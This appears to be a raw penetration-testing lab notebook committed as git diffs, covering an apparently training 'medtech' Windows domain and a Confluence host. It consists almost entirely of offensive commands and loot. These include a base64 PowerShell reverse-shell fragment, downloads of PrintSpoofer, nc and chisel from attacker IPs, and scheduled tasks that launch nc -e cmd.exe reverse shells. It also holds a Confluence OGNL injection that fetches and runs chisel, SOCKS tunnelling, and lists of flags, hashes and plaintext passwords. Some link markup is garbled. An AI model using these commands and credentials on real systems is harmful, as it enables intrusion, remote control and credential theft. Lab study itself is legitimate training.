4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)PrintSpoofer64.exe -Outfile pf.exe
iwr -uri <http://192.168.45.198:8888/>SharpHound.exe -Outfile SharpHound.exe
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)nc.exe -Outfile nc.exe
iwr -uri <http://192.168.45.198:8888/>chisel_1.9.1_windows_amd64 -Outfile chiesel.exe
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)agent.exe -Outfile agent.exe
```powershell
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "c:\Users\web_svc\ns"
```
`schtasks /create /sc minute /mo 1 /tn "Reverse shell2" /tr "c:\users\sql_svc\nc.exe 10.10.14.56 4242 -e cmd.exe"`
`schtasks /create /s "PC-NAME" /tn "My App" /tr "PATH" /sc minute /mo 1 /u Domain\User /p password`
c:\users\a.hansen\desktop\nc.exe -e cmd.exe 192.168.49.91 4444
invoke-bloodhound -collectionmethod all -domain medtech.com -ldapuser joe -ldappass Flowers1 -zipFileName loot.zip
WEB02$::MEDTECH:1122334455667788:fc9d3e73bbbf28562c0aab342f0f95cc:0101000000000000e8672fa2d7c6da0155d090522781b7bb00000000080030003000000000000000000000000030000052e5b4d9e1d59e5faa306b0417df176ee00305b9b4219ccaccf2330883db92960a00100000000000000000000000000000000000090000000000000000000000
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=**192.168.229.121** connectport=3389 connectaddress=**172.16.229.12**
Accept port forwarding
netsh advfirewall firewall add rule name="port_forward_rdp_3389" protocol=TCP dir=in localip=**192.168.229.121** localport=3389 action=allow
Labs/medtech/flags.md
+16
View File
@@ -0,0 +1,16 @@
.120 - proof 08bc777cb68808f3e108c9deabf4d356
.121 - proof X
.122 - local and proof , local: c706420afc060033a3fa790145c13d63 , proof: 0b6373d3cf5d73c4d9b8b1b5eb91fa5f
.10 - proof X
.11 - local and proof local:021d7eec872a5cdf47ee9eb0ac9c3818 , proof:2407ddc3dfc7d6b5b6b8fe72310c18d1
.12 - local and proof
.13 - proof : e482a25771b752775d7f87cd81fe2b3e
.14 - local only cc55f0fad8fec554ded8aee711fdd7c0
.82 - proof ef3e8a45c673b53afb5b0f71e970ceb8
.83 - local and proof local: e9e68c489bc339ef55b5c678e9272b89
, proof: 95d3517b79e3105766cf5624411bf034
dir C:[\](fold XA==)Users
type C:[\](fold XA==)Users/Administrator/Desktop/proof.txt
powershell -c type C:\Users/wario/Desktop/local.txt
powershell -c type C:\Users/Administrator/Desktop/proof.txt
Labs/medtech/hash.md
+6
View File
@@ -0,0 +1,6 @@
daisy:abf36048c1cf88f5603381c5128feb8e
toad:5be63a865b65349851c1f11a067a3068
wario:fdf36048c1cf88f5630381c5e38feb8e
goomba:8e9e1516818ce4e54247e71e71b5f436
milana:
Labs/medtech/users.md
+9
View File
@@ -0,0 +1,9 @@
joe:Flower1
wario:Mushroom!
yoshi:Mushroom!
leon:rabbit:)
web01: offsec/century62hisan51
4aaddeed5888f984ee378b15e88529a7
Labs/tunnel.md
+37
View File
@@ -0,0 +1,37 @@
socat -ddd TCP-LISTEN:2346,fork TCP:10.4.228.215:5432
D@t4basePassw0rd!
{PKCS5S2}3vfgC35A7Gnrxlzbvp32yM8zXvdE8U8bxS9bkP+3aS3rnSJxz4bJ6wqtE8d95ejA
{PKCS5S2}tnbti4h38VDOh0xPrBHr7JBYjev7wws+ETHL1YyjSpIWVUz+66zXwDvbBJkJz342
{PKCS5S2}1hCLEv054BGYa9QkCAZKSmotKb4d8WbuDc/gGxHngs0cL3+fJ4OmCt6+fUM6HYlc
{PKCS5S2}aBZZw3HfmgYN3Dzg/Pg7GjagLdo+eRg+0JCCVId/KyNT4oVlNbhWPJtJNazs4F5R
{PKCS5S2}ueMu+nTGBtfeGXGBlXXFcJLdSF4uVHkZxMQ1Bst8wm3uhZcDs56a2ProZiSOk2hv
{PKCS5S2}vCcYx3LxTYB2KH2Sq4wLNLdAcS+4lX/yTQrvBJngifUEXcnIUHEwW0YnOe86W8tP
-------------------------
{PKCS5S2}ueMu+nTGBtfeGXGBlXXFcJLdSF4uVHkZxMQ1Bst8wm3uhZcDs56a2ProZiSOk2hv
{PKCS5S2}vCcYx3LxTYB2KH2Sq4wLNLdAcS+4lX/yTQrvBJngifUEXcnIUHEwW0YnOe86W8tP
{PKCS5S2}aBZZw3HfmgYN3Dzg/Pg7GjagLdo+eRg+0JCCVId/KyNT4oVlNbhWPJtJNazs4F5R
{PKCS5S2}aBZZw3HfmgYN3Dzg/Pg7GjagLdo+eRg+0JCCVId/KyNT4oVlNbhWPJtJNazs4F5R:Welcome1234
{PKCS5S2}vCcYx3LxTYB2KH2Sq4wLNLdAcS+4lX/yTQrvBJngifUEXcnIUHEwW0YnOe86W8tP:P@ssw0rd!
{PKCS5S2}ueMu+nTGBtfeGXGBlXXFcJLdSF4uVHkZxMQ1Bst8wm3uhZcDs56a2ProZiSOk2hv:sqlpass123
-
for i in $(seq 1 254.; do nc -zv -w 1 172.16.228.$i 445; done
curl [http://CONFLUENCE01:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.45.224:8000/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/](http://192.168.228.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.45.224:8000/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/)
curl [http://CONFLUENCE01:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.45.224:8080%20R:socks%27%29.start%28%29%22%29%7D/](http://192.168.228.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.45.224:8080%20R:socks%27%29.start%28%29%22%29%7D/)
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.228.215